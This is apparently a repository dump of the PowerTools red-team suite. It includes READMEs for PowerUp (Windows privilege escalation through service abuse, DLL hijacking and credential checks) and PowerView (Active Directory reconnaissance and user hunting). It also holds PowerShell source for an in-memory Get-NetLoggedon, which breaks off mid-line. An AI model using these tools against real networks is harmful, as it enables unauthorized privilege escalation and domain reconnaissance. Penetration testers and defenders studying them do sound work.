c:\users\sixdub\desktop\test.ps1 21 | 22 | 23 | -f c:\users\sixdub\desktop\test.ps1 24 | 25 | -------------------------------------------------------------------------------- /PowerPick/bin/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cheetz/PowerTools/feba7a6cecb806ce41411b87f5bcb7cefcb1af45/PowerPick/bin/.DS_Store -------------------------------------------------------------------------------- /PowerUp/PowerUp.psd1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cheetz/PowerTools/feba7a6cecb806ce41411b87f5bcb7cefcb1af45/PowerUp/PowerUp.psd1 -------------------------------------------------------------------------------- /PowerUp/PowerUp.psm1: -------------------------------------------------------------------------------- 1 | Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} -------------------------------------------------------------------------------- /PowerUp/README.md: -------------------------------------------------------------------------------- 1 | #PowerUp 2 | 3 | PowerUp is a powershell tool to assist with local privilege escalation on 4 | Windows systems. It contains several methods to identify and abuse 5 | vulnerable services, as well as DLL hijacking opportunities, vulnerable 6 | registry settings, and escalation opportunities. 7 | 8 | Developed by [@harmj0y](https://twitter.com/harmj0y) 9 | 10 | Part of Veil's [PowerTools](https://github.com/Veil-Framework/PowerTools) 11 | 12 | 13 | ## Service Enumeration: 14 | Get-ServiceUnquoted - returns services with unquoted paths that also have a space in the name 15 | Get-ServiceEXEPerms - returns services where the current user can write to the service binary path 16 | Get-ServicePerms - returns services the current user can modify 17 | 18 | ## Service Abuse: 19 | Invoke-ServiceUserAdd - modifies a modifiable service to create a user and add it to the local administrators 20 | Write-UserAddServiceBinary - writes out a patched C# service binary that adds a local administrative user 21 | Write-CMDServiceBinary - writes out a patched C# binary that executes a custom command 22 | Write-ServiceEXE - replaces a service binary with one that adds a local administrator user 23 | Write-ServiceEXECMD - replaces a service binary with one that executes a custom command 24 | Restore-ServiceEXE - restores a replaced service binary with the original executable 25 | 26 | ## DLL Hijacking: 27 | Invoke-FindDLLHijack - finds DLL hijacking opportunities for currently running processes 28 | Invoke-FindPathHijack - finds service %PATH% .DLL hijacking opportunities 29 | 30 | ## Registry Checks: 31 | Get-RegAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set 32 | Get-RegAutoLogon - checks for Autologon credentials in the registry 33 | 34 | ## Misc. Checks: 35 | Get-UnattendedInstallFiles - finds remaining unattended installation files 36 | Get-Webconfig - checks for any encrypted web.config strings 37 | Get-ApplicationHost - checks for encrypted application pool and virtual directory passwords 38 | Invoke-CheckLocalAdmin - checks if the user is effectively a local administrator 39 | 40 | ## Helpers: 41 | Invoke-AllChecks - runs all current escalation checks and returns a report 42 | Write-UserAddMSI - write out a MSI installer that prompts for a user to be added 43 | Invoke-ServiceStart - starts a given service 44 | Invoke-ServiceStop - stops a given service 45 | Invoke-ServiceEnable - enables a given service 46 | Invoke-ServiceDisable - disables a given service 47 | Get-ServiceDetails - returns detailed information about a service 48 | -------------------------------------------------------------------------------- /PowerView/LICENSE: -------------------------------------------------------------------------------- 1 | PowerView is provided under the 3-clause BSD license below. 2 | 3 | ************************************************************* 4 | 5 | Copyright (c) 2015, Will Schroeder 6 | All rights reserved. 7 | 8 | Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 9 | 10 | Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 11 | Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 12 | The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission. 13 | 14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 15 | 16 | -------------------------------------------------------------------------------- /PowerView/README.md: -------------------------------------------------------------------------------- 1 | #PowerView 2 | 3 | PowerView is a PowerShell tool to gain network situational awareness on 4 | Windows domains. It contains a set of pure-PowerShell replacements for various 5 | windows "net *" commands, which utilize PowerShell AD hooks and underlying 6 | Win32 API functions to perform useful Windows domain functionality. 7 | 8 | It also impements various useful metafunctions, including a port 9 | of [Rob Fuller's](https://twitter.com/mubix) [netview.exe](https://github.com/mubix/netview) tool, 10 | and some custom-written 'UserHunter' functions which will identify where on the 11 | network specific users are logged into. It can also check which machines 12 | on the domain the current user has local administrator access on. See function 13 | descriptions for appropriate usage and available options. 14 | 15 | To run on a machine, start PowerShell with "powershell -exec bypass" and then load 16 | the PowerView module with: PS> Import-Module .\powerview.psm1 17 | or load the PowerView script by itself: PS> Import-Module .\powerview.ps1 18 | 19 | For detailed output of underlying functionality, pass the -Debug flag to most functions. 20 | 21 | For functions that enumerate multiple machines, pass the -Verbose flag to get a 22 | progress status as each host is enumerated. Most of the "meta" functions accept 23 | an array of hosts from the pipeline. 24 | 25 | Developed by [@harmj0y](https://twitter.com/harmj0y) 26 | 27 | Part of Veil's [PowerTools](https://github.com/Veil-Framework/PowerTools) 28 | 29 | Thanks to: 30 | [@davidpmcguire](https://twitter.com/davidpmcguire) for inspiration, 31 | [@mubix](https://twitter.com/mubix) for building netview.exe and open sourcing it, 32 | [@obscuresec](https://twitter.com/obscuresec), [@mattifestation](https://twitter.com/mattifestation) and [darkoperator](https://twitter.com/Carlos_Perez) for examples and how to write proper PowerShell modules, 33 | zeknox, smilingraccoon, and r3dy for the [local_admin_search_enum](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb) idea in Metasploit, 34 | dunedinite, normanj, and powershellmagazine.com, for some (cited) examples to adapt and draw from 35 | 36 | 37 | ## Misc Functions: 38 | Get-HostIP - resolves a hostname to an IP 39 | Check-Write - checks if the current user can write to the specified file 40 | Set-MacAttribute - Sets MAC attributes for a file based on another file or input (from Powersploit) 41 | Invoke-CopyFile - copies a local file to a remote location, matching MAC properties 42 | Test-Server - tests connectivity to a specified server 43 | Get-UserProperties - returns all properties specified for users, or a set of user:prop names 44 | Get-ComputerProperties - returns all properties specified for computers, or a set of computer:prop names 45 | Get-LastLoggedOn - return the last logged on user for a target host 46 | Get-UserLogonEvents - returns logon events from the event log for a specified host 47 | Get-UserTGTEvents - returns TGT request events for a specified host 48 | Invoke-CheckLocalAdminAccess - check if the current user context has local administrator access 49 | to a specified host 50 | Invoke-SearchFiles - search a local or remote path for files with specific terms in the name 51 | Convert-NameToSid - converts a user/group name to a security identifier (SID) 52 | Convert-SidToName - converts a security identifier (SID) to a group/user name 53 | 54 | 55 | ## net * Functions: 56 | Get-NetDomain - gets the name of the current user's domain 57 | Get-NetForest - gets the forest associated with the current user's domain 58 | Get-NetForestDomains - gets all domains for the current forest 59 | Get-NetDomainControllers - gets the domain controllers for the current computer's domain 60 | Get-NetCurrentUser - gets the current [domain\\]username 61 | Get-NetUser - returns all user objects, or the user specified (wildcard specifiable) 62 | Get-NetUserSPNs - gets all user ServicePrincipalNames 63 | Get-NetOUs - gets data for domain organization units 64 | Get-NetGUIDOUs - finds domain OUs linked to a specific GUID 65 | Invoke-NetUserAdd - adds a local or domain user 66 | Get-NetGroups - gets a list of all current groups in the domain 67 | Get-NetGroup - gets data for each user in a specified domain group 68 | Get-NetLocalGroups - gets a list of localgroups on a remote host or hosts 69 | Get-NetLocalGroup - gets the members of a localgroup on a remote host or hosts 70 | Get-NetLocalServices - gets a list of running services/paths on a remote host or hosts 71 | Invoke-NetGroupUserAdd - adds a user to a specified local or domain group 72 | Get-NetComputers - gets a list of all current servers in the domain 73 | Get-NetFileServers - get a list of file servers used by current domain users 74 | Get-NetShare - gets share information for a specified server 75 | Get-NetLoggedon - gets users actively logged onto a specified server 76 | Get-NetSessions - gets active sessions on a specified server 77 | Get-NetFileSessions - returned combined Get-NetSessions and Get-NetFiles 78 | Get-NetConnections - gets active connections to a specific server resource (share) 79 | Get-NetFiles - gets open files on a server 80 | Get-NetProcesses - gets the remote processes and owners on a remote server 81 | 82 | 83 | ## User-Hunting Functions: 84 | Invoke-UserHunter - finds machines on the local domain where specified users are 85 | logged into, and can optionally check if the current user has 86 | local admin access to found machines 87 | Invoke-UserHunterThreaded - threaded version of Invoke-UserHunter 88 | Invoke-StealthUserHunter - finds all file servers utilizes in user HomeDirectories, and checks 89 | the sessions one each file server, hunting for particular users 90 | Invoke-UserProcessHunter - hunts for processes on domain machines running under specific 91 | target user accounts 92 | Invoke-ProcessHunter - hunts for processes with a specific name on domain machines 93 | Invoke-UserEventHunter - hunts for user logon events in domain controller event logs 94 | 95 | 96 | ## Domain Trust Functions: 97 | Get-NetDomainTrusts - gets all trusts for the current user's domain 98 | Get-NetDomainTrustsLDAP - gets all trusts for the current user's domain using just LDAP 99 | queries. This is less accurate than Get-NetDomainTrusts but 100 | allows you to relay all traffic through your primary DC. 101 | Get-NetForestTrusts - gets all trusts for the forest associated with the current user's domain 102 | Invoke-FindUserTrustGroups - enumerates users who are in groups outside of their principal domain 103 | Invoke-FindAllUserTrustGroups - map all domain trusts and enumerate all users who are in groups outside 104 | of their principal domain 105 | Invoke-MapDomainTrusts - try to build a relational mapping of all domain trusts 106 | Invoke-MapDomainTrustsLDAP - try to build a relational mapping of all domain trusts using 107 | Get-NetDomainTrustsLDAP 108 | 109 | 110 | ## MetaFunctions: 111 | Invoke-Netview - a port of @mubix's netview.exe tool using Get-Net* functionality 112 | finds all machines on the local domain and runs various enumeration 113 | methods on what it finds 114 | Invoke-NetviewThreaded - threaded version of Invoke-NetView 115 | Invoke-UserView - returns parsable session/loggedon user data for a given domain 116 | Invoke-ShareFinder - finds (non-standard) shares on hosts in the local domain 117 | Invoke-ShareFinderThreaded - threaded version if Invoke-ShareFinder 118 | Invoke-FileFinder - finds potentially sensitive files on hosts in the local domain 119 | Invoke-FileFinderThreaded - threaded version of Invoke-FileFinder 120 | Invoke-FindLocalAdminAccess - finds machines on the domain that the current user has local admin 121 | access to 122 | Invoke-FindLocalAdminAccesThreaded- threaded version of Invoke-FindLocalAdminAccess 123 | Invoke-UserFieldSearch - searches a user field for a particular term 124 | Invoke-ComputerFieldSearch - searches a computer field for a particular term 125 | Get-ExploitableSystems - finds systems likely vulnerable to common exploits 126 | Invoke-HostEnum - run all available enumeration checks on a single host 127 | Invoke-EnumerateLocalAdmins - enumerates members of the local Administrators groups across all 128 | machines in the domain 129 | Invoke-EnumerateLocalAdminsThreaded-threaded version of Invoke-EnumerateLocalAdmins 130 | -------------------------------------------------------------------------------- /PowerView/functions/Get-NetLoggedon.ps1: -------------------------------------------------------------------------------- 1 | #requires -version 2 2 | 3 | <# 4 | Implementation of NetWkstaUserEnum that utilizes 5 | https://github.com/mattifestation/psreflect to 6 | stay off of disk. 7 | 8 | by @harmj0y 9 | #> 10 | 11 | 12 | function New-InMemoryModule 13 | { 14 | <# 15 | .SYNOPSIS 16 | 17 | Creates an in-memory assembly and module 18 | 19 | Author: Matthew Graeber (@mattifestation) 20 | License: BSD 3-Clause 21 | Required Dependencies: None 22 | Optional Dependencies: None 23 | 24 | .DESCRIPTION 25 | 26 | When defining custom enums, structs, and unmanaged functions, it is 27 | necessary to associate to an assembly module. This helper function 28 | creates an in-memory module that can be passed to the 'enum', 29 | 'struct', and Add-Win32Type functions. 30 | 31 | .PARAMETER ModuleName 32 | 33 | Specifies the desired name for the in-memory assembly and module. If 34 | ModuleName is not provided, it will default to a GUID. 35 | 36 | .EXAMPLE 37 | 38 | $Module = New-InMemoryModule -ModuleName Win32 39 | #> 40 | 41 | [OutputType([Reflection.Emit.ModuleBuilder])] 42 | Param 43 | ( 44 | [Parameter(Position = 0)] 45 | [ValidateNotNullOrEmpty()] 46 | [String] 47 | $ModuleName = [Guid]::NewGuid().ToString() 48 | ) 49 | 50 | $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) 51 | $Domain = [AppDomain]::CurrentDomain 52 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') 53 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) 54 | 55 | return $ModuleBuilder 56 | } 57 | 58 | 59 | # A helper function used to reduce typing while defining function 60 | # prototypes for Add-Win32Type. 61 | # Author: Matthew Graeber (@mattifestation) 62 | function func 63 | { 64 | Param 65 | ( 66 | [Parameter(Position = 0, Mandatory = $True)] 67 | [String] 68 | $DllName, 69 | 70 | [Parameter(Position = 1, Mandatory = $True)] 71 | [string] 72 | $FunctionName, 73 | 74 | [Parameter(Position = 2, Mandatory = $True)] 75 | [Type] 76 | $ReturnType, 77 | 78 | [Parameter(Position = 3)] 79 | [Type[]] 80 | $ParameterTypes, 81 | 82 | [Parameter(Position = 4)] 83 | [Runtime.InteropServices.CallingConvention] 84 | $NativeCallingConvention, 85 | 86 | [Parameter(Position = 5)] 87 | [Runtime.InteropServices.CharSet] 88 | $Charset, 89 | 90 | [Switch] 91 | $SetLastError 92 | ) 93 | 94 | $Properties = @{ 95 | DllName = $DllName 96 | FunctionName = $FunctionName 97 | ReturnType = $ReturnType 98 | } 99 | 100 | if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } 101 | if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } 102 | if ($Charset) { $Properties['Charset'] = $Charset } 103 | if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } 104 | 105 | New-Object PSObject -Property $Properties 106 | } 107 | 108 | 109 | function Add-Win32Type 110 | { 111 | <# 112 | .SYNOPSIS 113 | 114 | Creates a .NET type for an unmanaged Win32 function. 115 | 116 | Author: Matthew Graeber (@mattifestation) 117 | License: BSD 3-Clause 118 | Required Dependencies: None 119 | Optional Dependencies: func 120 | 121 | .DESCRIPTION 122 | 123 | Add-Win32Type enables you to easily interact with unmanaged (i.e. 124 | Win32 unmanaged) functions in PowerShell. After providing 125 | Add-Win32Type with a function signature, a .NET type is created 126 | using reflection (i.e. csc.exe is never called like with Add-Type). 127 | 128 | The 'func' helper function can be used to reduce typing when defining 129 | multiple function definitions. 130 | 131 | .PARAMETER DllName 132 | 133 | The name of the DLL. 134 | 135 | .PARAMETER FunctionName 136 | 137 | The name of the target function. 138 | 139 | .PARAMETER ReturnType 140 | 141 | The return type of the function. 142 | 143 | .PARAMETER ParameterTypes 144 | 145 | The function parameters. 146 | 147 | .PARAMETER NativeCallingConvention 148 | 149 | Specifies the native calling convention of the function. Defaults to 150 | stdcall. 151 | 152 | .PARAMETER Charset 153 | 154 | If you need to explicitly call an 'A' or 'W' Win32 function, you can 155 | specify the character set. 156 | 157 | .PARAMETER SetLastError 158 | 159 | Indicates whether the callee calls the SetLastError Win32 API 160 | function before returning from the attributed method. 161 | 162 | .PARAMETER Module 163 | 164 | The in-memory module that will host the functions. Use 165 | New-InMemoryModule to define an in-memory module. 166 | 167 | .PARAMETER Namespace 168 | 169 | An optional namespace to prepend to the type. Add-Win32Type defaults 170 | to a namespace consisting only of the name of the DLL. 171 | 172 | .EXAMPLE 173 | 174 | $Mod = New-InMemoryModule -ModuleName Win32 175 | 176 | $FunctionDefinitions = @( 177 | (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), 178 | (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), 179 | (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) 180 | ) 181 | 182 | $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' 183 | $Kernel32 = $Types['kernel32'] 184 | $Ntdll = $Types['ntdll'] 185 | $Ntdll::RtlGetCurrentPeb() 186 | $ntdllbase = $Kernel32::GetModuleHandle('ntdll') 187 | $Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') 188 | 189 | .NOTES 190 | 191 | Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 192 | 193 | When defining multiple function prototypes, it is ideal to provide 194 | Add-Win32Type with an array of function signatures. That way, they 195 | are all incorporated into the same in-memory module. 196 | #> 197 | 198 | [OutputType([Hashtable])] 199 | Param( 200 | [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] 201 | [String] 202 | $DllName, 203 | 204 | [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] 205 | [String] 206 | $FunctionName, 207 | 208 | [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] 209 | [Type] 210 | $ReturnType, 211 | 212 | [Parameter(ValueFromPipelineByPropertyName = $True)] 213 | [Type[]] 214 | $ParameterTypes, 215 | 216 | [Parameter(ValueFromPipelineByPropertyName = $True)] 217 | [Runtime.InteropServices.CallingConvention] 218 | $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, 219 | 220 | [Parameter(ValueFromPipelineByPropertyName = $True)] 221 | [Runtime.InteropServices.CharSet] 222 | $Charset = [Runtime.InteropServices.CharSet]::Auto, 223 | 224 | [Parameter(ValueFromPipelineByPropertyName = $True)] 225 | [Switch] 226 | $SetLastError, 227 | 228 | [Parameter(Mandatory = $True)] 229 | [Reflection.Emit.ModuleBuilder] 230 | $Module, 231 | 232 | [ValidateNotNull()] 233 | [String] 234 | $Namespace = '' 235 | ) 236 | 237 | BEGIN 238 | { 239 | $TypeHash = @{} 240 | } 241 | 242 | PROCESS 243 | { 244 | # Define one type for each DLL 245 | if (!$TypeHash.ContainsKey($DllName)) 246 | { 247 | if ($Namespace) 248 | { 249 | $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') 250 | } 251 | else 252 | { 253 | $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') 254 | } 255 | } 256 | 257 | $Method = $TypeHash[$DllName].DefineMethod( 258 | $FunctionName, 259 | 'Public,Static,PinvokeImpl', 260 | $ReturnType, 261 | $ParameterTypes) 262 | 263 | # Make each ByRef parameter an Out parameter 264 | $i = 1 265 | foreach($Parameter in $ParameterTypes) 266 | { 267 | if ($Parameter.IsByRef) 268 | { 269 | [void] $Method.DefineParameter($i, 'Out', $null) 270 | } 271 | 272 | $i++ 273 | } 274 | 275 | $DllImport = [Runtime.InteropServices.DllImportAttribute] 276 | $SetLastErrorField = $DllImport.GetField('SetLastError') 277 | $CallingConventionField = $DllImport.GetField('CallingConvention') 278 | $CharsetField = $DllImport.GetField('CharSet') 279 | if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } 280 | 281 | # Equivalent to C# version of [DllImport(DllName)] 282 | $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) 283 | $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, 284 | $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), 285 | [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField), 286 | [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset))) 287 | 288 | $Method.SetCustomAttribute($DllImportAttribute) 289 | } 290 | 291 | END 292 | { 293 | $ReturnTypes = @{} 294 | 295 | foreach ($Key in $TypeHash.Keys) 296 | { 297 | $Type = $TypeHash[$Key].CreateType() 298 | 299 | $ReturnTypes[$Key] = $Type 300 | } 301 | 302 | return $ReturnTypes 303 | } 304 | } 305 | 306 | 307 | # A helper function used to reduce typing while defining struct 308 | # fields. 309 | # Author: Matthew Graeber (@mattifestation) 310 | function field 311 | { 312 | Param 313 | ( 314 | [Parameter(Position = 0, Mandatory = $True)] 315 | [UInt16] 316 | $Position, 317 | 318 | [Parameter(Position = 1, Mandatory = $True)] 319 | [Type] 320 | $Type, 321 | 322 | [Parameter(Position = 2)] 323 | [UInt16] 324 | $Offset, 325 | 326 | [Object[]] 327 | $MarshalAs 328 | ) 329 | 330 | @{ 331 | Position = $Position 332 | Type = $Type -as [Type] 333 | Offset = $Offset 334 | MarshalAs = $MarshalAs 335 | } 336 | } 337 | 338 | # Author: Matthew Graeber (@mattifestation) 339 | function struct 340 | { 341 | <# 342 | .SYNOPSIS 343 | 344 | Creates an in-memory struct for use in your PowerShell session. 345 | 346 | Author: Matthew Graeber (@mattifestation) 347 | License: BSD 3-Clause 348 | Required Dependencies: None 349 | Optional Dependencies: field 350 | 351 | .DESCRIPTION 352 | 353 | The 'struct' function facilitates the creation of structs entirely in 354 | memory using as close to a "C style" as PowerShell will allow. Struct 355 | fields are specified using a hashtable where each field of the struct 356 | is comprosed of the order in which it should be defined, its .NET 357 | type, and optionally, its offset and special marshaling attributes. 358 | 359 | One of the features of 'struct' is that after your struct is defined, 360 | it will come with a built-in GetSize method as well as an explicit 361 | converter so that you can easily cast an IntPtr to the struct without 362 | relying upon calling SizeOf and/or PtrToStructure in the Marshal 363 | class. 364 | 365 | .PARAMETER Module 366 | 367 | The in-memory module that will host the struct. Use 368 | New-InMemoryModule to define an in-memory module. 369 | 370 | .PARAMETER FullName 371 | 372 | The fully-qualified name of the struct. 373 | 374 | .PARAMETER StructFields 375 | 376 | A hashtable of fields. Use the 'field' helper function to ease 377 | defining each field. 378 | 379 | .PARAMETER PackingSize 380 | 381 | Specifies the memory alignment of fields. 382 | 383 | .PARAMETER ExplicitLayout 384 | 385 | Indicates that an explicit offset for each field will be specified. 386 | 387 | .EXAMPLE 388 | 389 | $Mod = New-InMemoryModule -ModuleName Win32 390 | 391 | $ImageDosSignature = enum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ 392 | DOS_SIGNATURE = 0x5A4D 393 | OS2_SIGNATURE = 0x454E 394 | OS2_SIGNATURE_LE = 0x454C 395 | VXD_SIGNATURE = 0x454C 396 | } 397 | 398 | $ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ 399 | e_magic = field 0 $ImageDosSignature 400 | e_cblp = field 1 UInt16 401 | e_cp = field 2 UInt16 402 | e_crlc = field 3 UInt16 403 | e_cparhdr = field 4 UInt16 404 | e_minalloc = field 5 UInt16 405 | e_maxalloc = field 6 UInt16 406 | e_ss = field 7 UInt16 407 | e_sp = field 8 UInt16 408 | e_csum = field 9 UInt16 409 | e_ip = field 10 UInt16 410 | e_cs = field 11 UInt16 411 | e_lfarlc = field 12 UInt16 412 | e_ovno = field 13 UInt16 413 | e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) 414 | e_oemid = field 15 UInt16 415 | e_oeminfo = field 16 UInt16 416 | e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) 417 | e_lfanew = field 18 Int32 418 | } 419 | 420 | # Example of using an explicit layout in order to create a union. 421 | $TestUnion = struct $Mod TestUnion @{ 422 | field1 = field 0 UInt32 0 423 | field2 = field 1 IntPtr 0 424 | } -ExplicitLayout 425 | 426 | .NOTES 427 | 428 | PowerShell purists may disagree with the naming of this function but 429 | again, this was developed in such a way so as to emulate a "C style" 430 | definition as closely as possible. Sorry, I'm not going to name it 431 | New-Struct. :P 432 | #> 433 | 434 | [OutputType([Type])] 435 | Param 436 | ( 437 | [Parameter(Position = 1, Mandatory = $True)] 438 | [Reflection.Emit.ModuleBuilder] 439 | $Module, 440 | 441 | [Parameter(Position = 2, Mandatory = $True)] 442 | [ValidateNotNullOrEmpty()] 443 | [String] 444 | $FullName, 445 | 446 | [Parameter(Position = 3, Mandatory = $True)] 447 | [ValidateNotNullOrEmpty()] 448 | [Hashtable] 449 | $StructFields, 450 | 451 | [Reflection.Emit.PackingSize] 452 | $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, 453 | 454 | [Switch] 455 | $ExplicitLayout 456 | ) 457 | 458 | [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, 459 | Class, 460 | Public, 461 | Sealed, 462 | BeforeFieldInit' 463 | 464 | if ($ExplicitLayout) 465 | { 466 | $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout 467 | } 468 | else 469 | { 470 | $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout 471 | } 472 | 473 | $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) 474 | $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] 475 | $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) 476 | 477 | $Fields = New-Object Hashtable[]($StructFields.Count) 478 | 479 | # Sort each field according to the orders specified 480 | # Unfortunately, PSv2 doesn't have the luxury of the 481 | # hashtable [Ordered] accelerator. 482 | foreach ($Field in $StructFields.Keys) 483 | { 484 | $Index = $StructFields[$Field]['Position'] 485 | $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} 486 | } 487 | 488 | foreach ($Field in $Fields) 489 | { 490 | $FieldName = $Field['FieldName'] 491 | $FieldProp = $Field['Properties'] 492 | 493 | $Offset = $FieldProp['Offset'] 494 | $Type = $FieldProp['Type'] 495 | $MarshalAs = $FieldProp['MarshalAs'] 496 | 497 | $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') 498 | 499 | if ($MarshalAs) 500 | { 501 | $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) 502 | if ($MarshalAs[1]) 503 | { 504 | $Size = $MarshalAs[1] 505 | $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, 506 | $UnmanagedType, $SizeConst, @($Size)) 507 | } 508 | else 509 | { 510 | $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) 511 | } 512 | 513 | $NewField.SetCustomAttribute($AttribBuilder) 514 | } 515 | 516 | if ($ExplicitLayout) { $NewField.SetOffset($Offset) } 517 | } 518 | 519 | # Make the struct aware of its own size. 520 | # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! 521 | $SizeMethod = $StructBuilder.DefineMethod('GetSize', 522 | 'Public, Static', 523 | [Int], 524 | [Type[]] @()) 525 | $ILGenerator = $SizeMethod.GetILGenerator() 526 | # Thanks for the help, Jason Shirk! 527 | $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) 528 | $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, 529 | [Type].GetMethod('GetTypeFromHandle')) 530 | $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, 531 | [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) 532 | $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) 533 | 534 | # Allow for explicit casting from an IntPtr 535 | # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! 536 | $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', 537 | 'PrivateScope, Public, Static, HideBySig, SpecialName', 538 | $StructBuilder, 539 | [Type[]] @([IntPtr])) 540 | $ILGenerator2 = $ImplicitConverter.GetILGenerator() 541 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) 542 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) 543 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) 544 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, 545 | [Type].GetMethod('GetTypeFromHandle')) 546 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, 547 | [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) 548 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) 549 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) 550 | 551 | $StructBuilder.CreateType() 552 | } 553 | 554 | 555 | function Get-NetLoggedon { 556 | <# 557 | .SYNOPSIS 558 | Gets users actively logged onto a specified server. 559 | 560 | .DESCRIPTION 561 | This function will execute the NetWkstaUserEnum Win32API call to query 562 | a given host for actively logged on users. 563 | 564 | .PARAMETER HostName 565 | The hostname to query for logged on users. 566 | 567 | .OUTPUTS 568 | WKSTA_USER_INFO_1 structure. A representation of the WKSTA_USER_INFO_1 569 | result structure which includes the username and domain of logged on users. 570 | 571 | .EXAMPLE 572 | > Get-NetLoggedon 573 | Returns users actively logged onto the local host. 574 | 575 | .EXAMPLE 576 | > Get-NetLoggedon -HostName sqlserver 577 | Returns users actively logged onto the 'sqlserver' host. 578 | 579 | .LINK 580 | http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ 581 | #> 582 | 583 | [CmdletBinding()] 584 | param( 585 | [string] 586 | $HostName = 'localhost' 587 | ) 588 | 589 | If ($PSBoundParameters['Debug']) { 590 | $DebugPreference = 'Continue' 591 | } 592 | 593 | # Declare the reference variables 594 | $QueryLevel = 1 595 | $ptrInfo = [IntPtr]::Zero 596 | $EntriesRead = 0 597 | $TotalRead = 0 598 | $ResumeHandle = 0 599 | 600 | # get logged on user information 601 | $Result = $Netapi32::NetWkstaUserEnum($HostName, 